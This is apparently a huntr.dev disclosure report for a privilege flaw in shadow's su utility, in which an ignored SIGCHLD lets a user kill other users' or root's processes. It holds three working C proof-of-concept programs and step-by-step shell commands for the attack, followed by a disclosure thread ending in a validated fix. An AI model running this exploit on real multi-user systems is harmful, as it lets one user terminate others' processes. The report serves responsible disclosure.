Improper Privilege Management in shadow-maint/shadow

Valid

Reported on

Oct 23rd 2021


Description

The su utility, if compiled with PAM support, uses waitpid internally to monitor its child process. It depends on the creation of zombie processes for proper monitoring, but the creation can be suppressed by ignoring the SIGCHLD signal (see waitpid manual page).

If su is spawned from a program which ignores SIGCHLD, su ignores SIGCHLD as well. Since the spawning process does not have to be setuid, we are able to modify the signal handling of the setuid binary su itself.

This allows an attacker to abuse su for a directed signal delivery of SIGTERM and SIGKILL with root privileges to a process of another user.

The attacker only requires their own login credentials, not the root credentials.

Proof of Concept

Compile poc-run (cc -o poc-run poc-run.c):

#include <err.h>
#include <signal.h>
#include <stdio.h>
#include <unistd.h>

int main(int argc, char *argv[]) {
    struct passwd *pwd;

    if (argc < 3) {
        fprintf(stderr, "usage: poc-run bin command <arguments>\n");
        return 1;
    }

    /* ignore SIGCHLD */
    if (signal(SIGCHLD, SIG_IGN) != 0)
        err(1, "cannot ignore SIGCHLD");

    printf("su pid = %ld\n", (long)getpid());

    /* execute program with ignored SIGCHLD */
    execv(argv[1], argv + 1);
    err(1, "failed to execute program");
}

Compile poc-kill (cc -o poc-kill poc-kill.c):

#include <err.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[]) {
    pid_t target;

    if (argc < 2) {
        fprintf(stderr, "usage: poc-kill pid\n");
        return 1;
    }

    /* send SIGCONT and SIGTERM to target pid */
    target = atoi(argv[1]);
    if (kill(target, SIGCONT) != 0 || kill(target, SIGTERM) != 0)
        err(1, "failed to send signals");
    return 0;
}

Compile poc-pid (cc -o poc-pid poc-pid.c):

#include <sys/wait.h>
#include <err.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char *argv[]) {
    pid_t target;

    /* read target pid */
    if (argc != 2) {
        fprintf(stderr, "usage: poc-pid pid\n");
        return 1;
    }
    if ((target = atoi(argv[1])) <= 1)
        errx(1, "invalid target pid");

    for (;;) {
        pid_t child = fork();
        if (child == -1)
            err(1, "fork");
        else if (child == 0) {
            /* we are process with target pid, sleep */
            sleep(999);
            _exit(0);
        } else if (child == target) {
            /* wait for child to exit, then exit as well */
            printf("got pid %d, waiting for exit\n", (int)target);
            if (waitpid(child, NULL, 0) != target)
                err(1, "waitpid");
            printf("child finished execution\n");
            break;
        } else {
            /* kill child which has wrong pid */
            kill(child, SIGTERM);
            waitpid(child, NULL, 0);
        }
    }

    return 0;
}

Reduce PID space to speed up proof of concept on 64 bit systems:

sudo bash -c "echo 32768 > /proc/sys/kernel/pid_max"

Run and suspend su with ignored SIGCHLD (enter your user pasword):

./poc-run $(which su) $(whoami) -c 'echo "target pid = $$"; kill -STOP $$'

You will see output like this:

su pid = 21481
target pid = 21486

Store these PIDs in variables:

SU=21481
TARGET=21486

Kill the spawned bash. Since no zombie process is created, the PID is available for newly spawned processes again. Run a privileged process which eventually gets the former bash PID:

kill -9 $TARGET
sudo ./poc-pid $TARGET

After a few seconds you get an output like this:

got pid 21486, waiting for exit

You won't be able to kill the privileged process:

kill -9 $TARGET
-bash: kill: (21486) - Operation not permitted

But if you kill the su process, the new privileged process is killed as well:

./poc-kill $SU

Impact

An attacker on a multi-user system can kill processes of other users, even root. No already spawned processes can be killed, but processes which will be spawned in the future can be killed.

The attacker can prepare su processes and the pid counter of the operating system for a better attack scenario, as presented in proof of concept.

We created a GitHub Issue asking the maintainers to create a SECURITY.md 3 months ago
3 months ago
Tobias
3 months ago

Researcher


Dear @admin, this is heavily related to https://huntr.dev/bounties/03718a50-5a22-4bad-9fcb-5c2644102d96 but shadow is maintained by a different person. I am not sure how to handle this properly through hunter.dev, therefore please keep this in mind regarding bounty etc.

We have contacted a member of the shadow-maint/shadow team and are waiting to hear back 3 months ago
Jamie Slome
3 months ago

Admin


@stoeckmann - not to worry! Our system will continue to get in touch with the maintainers, and we will wait to hear feedback from the maintainers.

Cheers! 🎊

We have sent a follow up to the shadow-maint/shadow team. We will try again in 7 days. 3 months ago
We have sent a second follow up to the shadow-maint/shadow team. We will try again in 10 days. 3 months ago
We have sent a third and final follow up to the shadow-maint/shadow team. This report is stale. 3 months ago
Tobias
2 months ago

Researcher


Hi @admin, the file exists: https://github.com/shadow-maint/shadow/blob/master/SECURITY.md Did you try to contact the maintainers in private and they did not reply? What should we do now, simply making it public?

Jamie Slome
2 months ago

Admin


I've checked our e-mail system and it seems that the maintainers did receive our e-mails and one was opened. It seems as though no reply has been given.

We will wait 90 days since the day of disclosure before making this public. However, in the meantime, you can try sending the URL for this report directly to the maintainers or getting in touch with them via GitHub to see if they can take a look at this disclosure.

Tobias
2 months ago

Researcher


Sounds good. Thanks for the advice and I will try to get in touch with them!

Tobias
a month ago

Researcher


Update to this one: I have contacted the shadow maintainers. Perhaps su is removed from the tree in favor of util-linux' version.

When news arrive, I add another comment.

Jamie Slome
a month ago

Admin


Great 👍 Thanks for the update!

Serge Hallyn validated this vulnerability a month ago
Tobias Stoeckmann has been awarded the disclosure bounty
The fix bounty is now up for grabs
Serge Hallyn confirmed that a fix has been merged on c0e4cc a month ago
Tobias Stoeckmann has been awarded the fix bounty